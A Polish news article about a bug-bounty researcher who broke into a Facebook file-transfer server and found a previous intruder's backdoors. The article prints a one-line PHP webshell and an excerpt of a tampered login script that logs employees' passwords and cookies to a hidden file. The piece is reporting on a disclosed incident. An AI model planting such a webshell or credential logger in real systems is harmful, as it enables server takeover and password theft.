Ktoś miesiącami zbierał hasła pracowników Facebooka – a odkrył to inny włamywacz

Niezwykła niespodzianka czekała na badacza, który dostał się do jednego z serwerów Facebooka. Po tym jak przejął nad nim kontrolę znalazł dowody na obecność co najmniej jednego innego włamywacza, który kradł hasła pracowników FB.

Badacz z Tajwanu musiał mieć zaskakujący dzień. Najpierw udało mu się włamać do w miarę istotnego serwera Facebooka a potem znalazł na nim cudze tylne furtki oraz skrypt kradnący hasła użytkowników. Na szczęście Facebook pozwolił mu na opublikowanie tej interesującej historii – zapraszamy do lektury.

Dobre podejście do rozpoznania

Facebook od kilku lat prowadzi program bug bounty. Setki jeśli nie tysiące badaczy codziennie próbują szczęścia przypuszczając kolejne ataki na jego serwery. Kluczem do optymalizacji szans zdobycia nagrody jest zatem albo szczęśliwy traf, albo szukanie błędów tam, gdzie niewiele osób zagląda.

Badacz zaczął swoje poszukiwanie od odwrotnego sprawdzenia zarejestrowanych domen (reverse whois) – czyli zamiast sprawdzać, kto zarejestrował domenę Facebooka, mógł poszukać, jakie inne domeny są zarejestrowane przez tę samą osobę/firmę lub pod tym samym adresem email. W ten sposób namierzył domenę

tfbnw.net

Szukając innych nazw powiązanych z tą domeną zlokalizował serwer

vpn.tfbnw.net

na którym znalazł terminator VPN Junipera. Szukając innych serwerów w tej samej klasie adresowej namierzył m. in.

• interfejs webmaila Outlooka
• VPN F5 BIGIP
• VPN CISCO ASA
• Oracle E-Business
• system zarządzania urządzeniami mobilnymi MobileIron

a także serwer

files.fb.com

służący pracownikom firmy do wymiany plików. Serwer działał w oparciu o usługę Accellion Secure File Transfer. Badacz sprawdził czy znane są jakieś exploity na te platformę, ale dostępna wersja okazała się być załatana. Analiza znanych wcześniej błędów wskazała jednak, że jakość kodu platformy nie robi najlepszego wrażenia i daje szansę na odkrycie innych podatności.

Ktoś spał w moim łóżeczku

Badacz pobrał oprogramowanie platformy i wziął się do roboty. Co prawda pliki PHP były zaszyfrowane za pomocą IonCube, ale użyto starszej wersji którą można było odszyfrować za pomocą dostępnych narzędzi. Podobno znalezienie błędów nie było trywialne, ale najwyraźniej badacz był dośc utalentowany, ponieważ w sumie zlokalizował 3 błędy XSS, SQLi nie wymagające posiadania konta w systemie i prowadzące do zdalnego wykonania kodu, wyciek klucza również prowadzący do zdalnego wykonania kodu oraz sposób na lokalne podniesienie uprawnień na serwerze.

RCE przez SQLi

Po wrzuceniu na serwer własnego webshella badacz ustalił, że serwer jest w zasadzie dość przywozicie skonfigurowany – włączone jest szczegółowe logowanie zdarzeń, logi zbierane są na zdalnym serwerze a firewall blokuje wszystkie połączenia wychodzące. W trakcie zbierania informacji do raportu do programu bug bounty badacz zwrócił uwagę na dziwne w wpisy w logu błędów serwera WWW.

Wpisy w logu

Przyjrzał się plikom powodującym problemy i znalazł… cudze webshelle oraz inne skrypty.

Cudze webshelle

Przykładowy plik wyglądał następująco:

<?php echo shell_exec($_GET['c']); ?>

Klasyczny krótki webshell, umozliwiający wykonywanie poleceń przekazywanych w wywoływanym adresie strony. Jeszcze ciekawiej zrobiło się w kolejnym pliku:

 include_once('sclient_user_class_standard.inc.orig');
 $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");
 $retries = 0;
 $max_retries = 100;

// wycięty fragment

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n");

// ciąg dalszy pliku

Był to zmodyfikowany plik obsługujący proces logowania użytkowników do serwera. Modyfikacja polegała na zapisywaniu do pliku loginów i haseł osób korzystających z serwera, czyli pracowników Facebooka. Co więcej, proces uwierzytelnienia korzystał z serwera LDAP Facebooka, zatem pracownicy logowali się do zhakowanego serwera swoimi domenowymi loginami i hasłami – które można było np. wykorzystać do sprawdzenia ich poczty.

W momencie dokonania odkrycia w logu czekało już ok. 300 zapisanych par loginów i haseł – a był to tylko łup z okresu od 1 do 7 lutego, ponieważ poprzedni włamywacz regularnie pobierał dane i kasował poprzednie pliki. Co gorsza daty plików wskazywały, że do włamania doszło już co najmniej w lipcu poprzedniego roku.

Badacz znalazł także ślady prób penetracji wewnętrznej sieci Facebooka – webshell poprzedniego włamywacza przyjmował parametry przez żądania GET dzięki czemu zapisywały się w logu dostępowym serwera. Poprzednik próbował skanować porty, łączyć się do wewnętrznych usług, pobierać witryny z intranetu czy też logować się do serwera poczty.

Epilog

Badacz oczywiście odkrycie zgłosił Facebookowi, który wypłacił mu 10 tysięcy dolarów i przez ostatnie 2 miesiąc prowadził analizę incydentu – dlatego dopiero dzisiaj mogliśmy poznać tę historię. Jak zatem widać nawet w takiej firmie jak Facebook można włamać się na serwer, utrzymywać dostęp do niego przez kilka miesięcy i w tym czasie kraść hasła pracowników firmy. Jak zatem wygląda bezpieczeństwo innych, gorzej chronionych sieci?